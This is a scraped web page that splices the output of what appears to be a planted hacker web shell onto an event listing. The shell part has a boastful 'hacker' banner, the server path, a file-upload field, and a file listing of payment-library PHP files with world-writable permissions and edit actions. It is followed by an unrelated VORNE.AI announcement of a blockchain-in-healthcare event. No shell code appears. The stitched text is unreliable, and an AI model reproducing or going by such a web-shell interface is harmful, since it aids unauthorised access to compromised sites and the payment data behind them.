I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
AbstractService.php3096 KBAugust 11 2023 00:53:240666
AbstractServiceFactory.php1677 KBAugust 11 2023 00:53:240666
AccountLinkService.php718 KBAugust 11 2023 00:53:240666
AccountService.php14269 KBAugust 11 2023 00:53:240666
ApplePayDomainService.php1981 KBAugust 11 2023 00:53:240666
ApplicationFeeService.php4778 KBAugust 11 2023 00:53:240666
Apps-August 11 2023 00:53:240777
BalanceService.php781 KBAugust 11 2023 00:53:240666
BalanceTransactionService.php1578 KBAugust 11 2023 00:53:240666
BillingPortal-August 11 2023 00:53:240777
ChargeService.php4537 KBAugust 11 2023 00:53:240666
Checkout-August 11 2023 00:53:240777
CoreServiceFactory.php6149 KBAugust 11 2023 00:53:240666
CountrySpecService.php1106 KBAugust 11 2023 00:53:240666
CouponService.php3692 KBAugust 11 2023 00:53:240666
CreditNoteService.php5679 KBAugust 11 2023 00:53:240666
CustomerService.php18302 KBAugust 11 2023 00:53:240666
DisputeService.php2881 KBAugust 11 2023 00:53:240666
EphemeralKeyService.php1289 KBAugust 11 2023 00:53:240666
EventService.php1439 KBAugust 11 2023 00:53:240666
ExchangeRateService.php1265 KBAugust 11 2023 00:53:240666
FileLinkService.php1994 KBAugust 11 2023 00:53:240666
FileService.php2105 KBAugust 11 2023 00:53:240666
FinancialConnections-August 11 2023 00:53:240777
Identity-August 11 2023 00:53:240777
InvoiceItemService.php3051 KBAugust 11 2023 00:53:240666
InvoiceService.php11568 KBAugust 11 2023 00:53:240666
Issuing-August 11 2023 00:53:240777
MandateService.php604 KBAugust 11 2023 00:53:240666
OAuthService.php4874 KBAugust 11 2023 00:53:240666
PaymentIntentService.php11939 KBAugust 11 2023 00:53:240666
PaymentLinkService.php2679 KBAugust 11 2023 00:53:240666
PaymentMethodService.php5304 KBAugust 11 2023 00:53:240666
PayoutService.php4690 KBAugust 11 2023 00:53:240666
PlanService.php2776 KBAugust 11 2023 00:53:240666
PriceService.php2974 KBAugust 11 2023 00:53:240666
ProductService.php3892 KBAugust 11 2023 00:53:240666
PromotionCodeService.php2412 KBAugust 11 2023 00:53:240666
QuoteService.php5918 KBAugust 11 2023 00:53:240666
Radar-August 11 2023 00:53:240777
RefundService.php3018 KBAugust 11 2023 00:53:240666
Reporting-August 11 2023 00:53:240777
ReviewService.php1789 KBAugust 11 2023 00:53:240666
SetupAttemptService.php633 KBAugust 11 2023 00:53:240666
SetupIntentService.php5088 KBAugust 11 2023 00:53:240666
ShippingRateService.php2016 KBAugust 11 2023 00:53:240666
Sigma-August 11 2023 00:53:240777
SourceService.php3648 KBAugust 11 2023 00:53:240666
SubscriptionItemService.php5876 KBAugust 11 2023 00:53:240666
SubscriptionScheduleService.php4029 KBAugust 11 2023 00:53:240666
SubscriptionService.php7095 KBAugust 11 2023 00:53:240666
Tax-August 11 2023 00:53:240777
TaxCodeService.php1293 KBAugust 11 2023 00:53:240666
TaxRateService.php2043 KBAugust 11 2023 00:53:240666
Terminal-August 11 2023 00:53:240777
TestHelpers-August 11 2023 00:53:240777
TokenService.php1254 KBAugust 11 2023 00:53:240666
TopupService.php2643 KBAugust 11 2023 00:53:240666
TransferService.php5951 KBAugust 11 2023 00:53:240666
Treasury-August 11 2023 00:53:240777
WebhookEndpointService.php3389 KBAugust 11 2023 00:53:240666
VORNE.AI - Event Details
Leveraging Blockchain for Scaling Access to Healthcare: How MPC is contributing to UHC
29 May
2024
CHIEF

Leveraging Blockchain for Scaling Access to Healthcare: How MPC is contributing to UHC

Blockchain is transforming every sector including healthcare. How can the health sector leverage the power of blockchain in scaling access to healthcare? While blockchain provides unprecedented transparency, security and efficiency it also provides an opportunity for innovative financing and investment for scaling towards universal health care. Partisia blockchain is pioneering use of blockchain in the health and development sector. Join us to explore the power of blockchain for global health.

Wednesday 29 May | 12H00-14H00 | Intercontinental Hotel, Ballroom A

Tags: